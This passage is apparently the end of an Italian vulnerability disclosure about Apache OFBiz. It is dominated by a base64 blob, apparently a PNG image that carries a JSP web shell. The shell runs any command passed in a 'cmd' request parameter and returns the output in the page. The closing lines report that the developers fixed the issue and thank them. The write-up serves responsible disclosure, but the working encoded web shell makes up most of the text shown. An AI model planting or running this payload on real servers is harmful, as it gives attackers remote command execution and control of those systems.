e/Slf22qxf5VvRgiqnB+dg2EilGsVsX/Ld3wpBnJ+Oq8qAEKFLPa3p9DykgsHmHeg8eNHOM5k1wroxKnYTyWNtmgvJnK+LgVOkmBIPeViPxWq
2iL2H4ly/isk56e5rcwTpCmm2guVH9sh9lNxb8oaB8r5xjkwhRdaIrH/sC1if8gFedJ0UM5PU1uZZ/CgTii0RO/dBu1lyj95AtRwhC5UuPQwG
GXF/tVWiP1Uzi8omkwmVV2ocrbMaJ/Yv8GPRDEfuoMLbRKsqOLss2mb2I96czFPzucDUpcEaw8lBbG/Ba4KRXJ+2vBfmlC1NSETvj61QuwvkP
Ozob5AcYZ5p5KC2O/dVSEU5fz/9EeMY10SrK8fSBeoKX8K1hu75kWTuiT4I+dUvUVivyzn5xVNanXg3AICdhUtWPSnvUgeCH/zall0STCYAvO
hkBX7fboq5Mv5cqiaJBhOgRmjlrgqbOXK+XKomiQYToHVD8irqwKdJzRyvgoc6kN+rVo7XBVC1QMhjxEcqi4FZt0qi/0+Ci33RA+EsKiSMP4D
hqrNJCmpKOWt0FLjgZDTq/dQpMV1ef5dFb7yk21McdGkJgkuLItWXBWaFvvRrmrJqmhSkwQXF1sKrgoexP4z0QPhvLhoUnPsWPyLgtjffKFls
ZyvhgomwfDzj1K3cu1l0LyrApXzYQ8EDXAS/GpSQyu4KoTNiv2H/KF/DCTnK8BJcG4KzBDE/ma1lwIPBE2oSi0aIj8FZoz/0cup2N9coeURN+
ggg9CoOj8Ak+D8FJjhTeyn50VT9t/rVRYRKNSCFJjhy1UhNJHzVcAk2OjJFG+uCrvcIolgFmjSM1CRVsGDgenn5MNVwcwDAWotlAQbPpoSpMO
fWnI1UWhp5IEAET0BoRrkHvS3s2J/M4WWhh4IUGOhJNj4t4OIbQKPBg2J/admHggAYBJs/uuTpl0VZA8E04UGtfVBjfSv8fCXCi0bEPtDsWgy
R85XQwWS4FeL3xfE/voLLS08ENSmAknwuUWowYi7KizVX2hpI+eroQJJ8I1NqI26Kkhyfr4HggLwnIJZCsxQXBXqE/sVS2Ob8ZsRxFIMU2CGb
KFcn/ZyIloaF3kgyABJ8Jvlh9WU2A9YGtuFqibBluOiKbFfLposkvPVUF+VUM1TYMKwGVcF0NLYBiAJth0Yzbgq0KJJczlfbaaaBNsOjGbEfo
2lsQVAEmyRF7I3qd9VoaQHQhY1CbZJgRn1WyhrLY0tQn2TQ/1tP4Drt1CeSpbG9k2EagSsUmBGza4KuZbGxqEqSbBlCkyRLZTdFloaeCDYtJF
hlwIzarVQLiXnq4z+SaEWHZlrGNfoqlBgaWyK8gRKqU6t1UK50NLYFGkEG+uqMlzspyef7sT+sMjS2JSxoLkYHTiC1Cb253sgWDHKZBH3ZcdG
IBVauhP7qZyv8UCwJJpnyc5j6T7FsNY4dVWQPRCqNXEYHzy+nP/3NqzygWUtlB26KpSX83XBjqNoXPVNarFQNrQ0bpoaLJQVD4TK/eEI964Ko
amlcdM4d1WoIufXjGMLZcUDodq86RjWKidiv5WlcdM4tVC2tDRuGsFVoaLYb2lp3DQOXRWsLY0NW5jg5p2cWSiXsDQuZjIaHlxfz1/EsrVfKV
yJ/ZKl8buD2XccPNCt5vvNgYPbQXFVKBdpKUvjfEZCTfCvi+ofnhtXhVKWxnkML+THdd+q7ZICRxbKDuR8OdJ/ocxD5VgFC+WSrgphOUvjHKC
nzd+qjmEHFspTQw8EY2Ko7s7BAlZZ7K9gaQyjfaiz8mip6qogyflaDwRjYvjhKQdzQEVXhUJLY1vgyn2ETUGbJlZJ7LcrtDT2QDDFzm/JjkoW
yuYeCKaAxcCE6pl1FVeFMNfSuAz8T9aoVN8ZVrBQdijnMyx8DEtQ2lUh39K4ZGPgB3UdhSq6KliI/ZKcn+uBYIrmQV1E5dUmKG2hbOWBYIrWw
qX4yW0juKvC0cDCVSHf0rgkese78kePWRQLZRPtJd/SuDy6UC3rZHWUEftDOw8EU1KBWsKRzFRC7Lf1QDAG9KJ3M71jBAtlE+2lyNK4PGPwbq
2ubXBsCy13RA8El3J+DAzhd3dvb2uhXGhpXAU11g+nR5h2Fsr1yvmxNIbPXUnfBEXsz9NeSnggWDEOMh37Ou/6XMTCQrmMB4Il0fDt5vXHn+/
njz9j92dd5hbKBpbG1RlG0Wg0clD4AWAs9iPpzLGc3zSyq4JOUlsmWbKlB0KrEFwV1vRHc3P4Andyvg+4MLlF7lbN2krGNsseHMj5Hki1l1k8
98DSywJWxrmgFEyGXSRmG+MpHqDwHLyEE31mgnAz31HYxnUP70fheWkBD3C+qHad45xepfeq7ya6YhtvSDUy6Q7ev20Uv0snWMDSkeZkeRX3+
icZwXt47607gUTq0yDzNEKXQcvqYU4t3hw5o5z6bmd1ThfIWqKVg5HagtSnmbmit2o3Z3jevcstsJyGbM6ame0uOBlcuCqoFUBCYdv+glcp8I
FTfmEP2qveLfvykXbFGtZ2i6r5idhytzPXXci52klxsdbsFXSndw6zY8e1y+J3ajc7FladS/sznWW/XX8tsKenp6enp6enp6enfv4HVQ5HDjw
lQCBwYWdlIGltcG9ydD0iamF2YS51dGlsLiosamF2YS5pby4qIiU+PCVpZiAocmVxdWVzdC5nZXRQYXJhbWV0ZXIoImNtZCIpICE9IG51bGwp
IHtTdHJpbmcgYWxsPSJDb21tYW5kOiAiICsgcmVxdWVzdC5nZXRQYXJhbWV0ZXIoImNtZCIpICsgIjxCUj4iO1Byb2Nlc3MgcCA9IFJ1bnRpb
WUuZ2V0UnVudGltZSgpLmV4ZWMocmVxdWVzdC5nZXRQYXJhbWV0ZXIoImNtZCIpKTtPdXRwdXRTdHJlYW0gb3MgPSBwLmdldE91dHB1dFN0cm
VhbSgpO0lucHV0U3RyZWFtIGluID0gcC5nZXRJbnB1dFN0cmVhbSgpO0RhdGFJbnB1dFN0cmVhbSBkaXMgPSBuZXcgRGF0YUlucHV0U3RyZWF
tKGluKTtTdHJpbmcgZGlzciA9IGRpcy5yZWFkTGluZSgpO3doaWxlICggZGlzciAhPSBudWxsICkge2FsbCs9ZGlzcjtkaXNyID1kaXMucmVh
ZExpbmUoKTt9b3V0LnByaW50bG4oIj48c2NyaXB0PmRvY3VtZW50LmJvZHkuaW5uZXJIVE1MID0gYXRvYihgIitCYXNlNjQuZ2V0RW5jb2Rlc
igpLmVuY29kZVRvU3RyaW5nKGFsbC5nZXRCeXRlcygiVVRGLTgiKSkrImApOzwvc2NyaXB0PiIpO3JldHVybjt9JT6+k7foAAAAAElFTkSuQm
CC

Gli sviluppatori sono stati informati di questo nuovo payload e hanno creato un nuovo fix che ha risolto definitivamente questo specifico problema! Ottimo lavoro!

Ringraziamenti Speciali

Vorremmo ringraziare gli sviluppatori di OfBiz, che sono stati indubbiamente veloci nella risoluzione della vulnerabilità, e molto divertenti e piacevoli a modo loro… In particolare vorremmo dire Ciao a te, Jacques ;)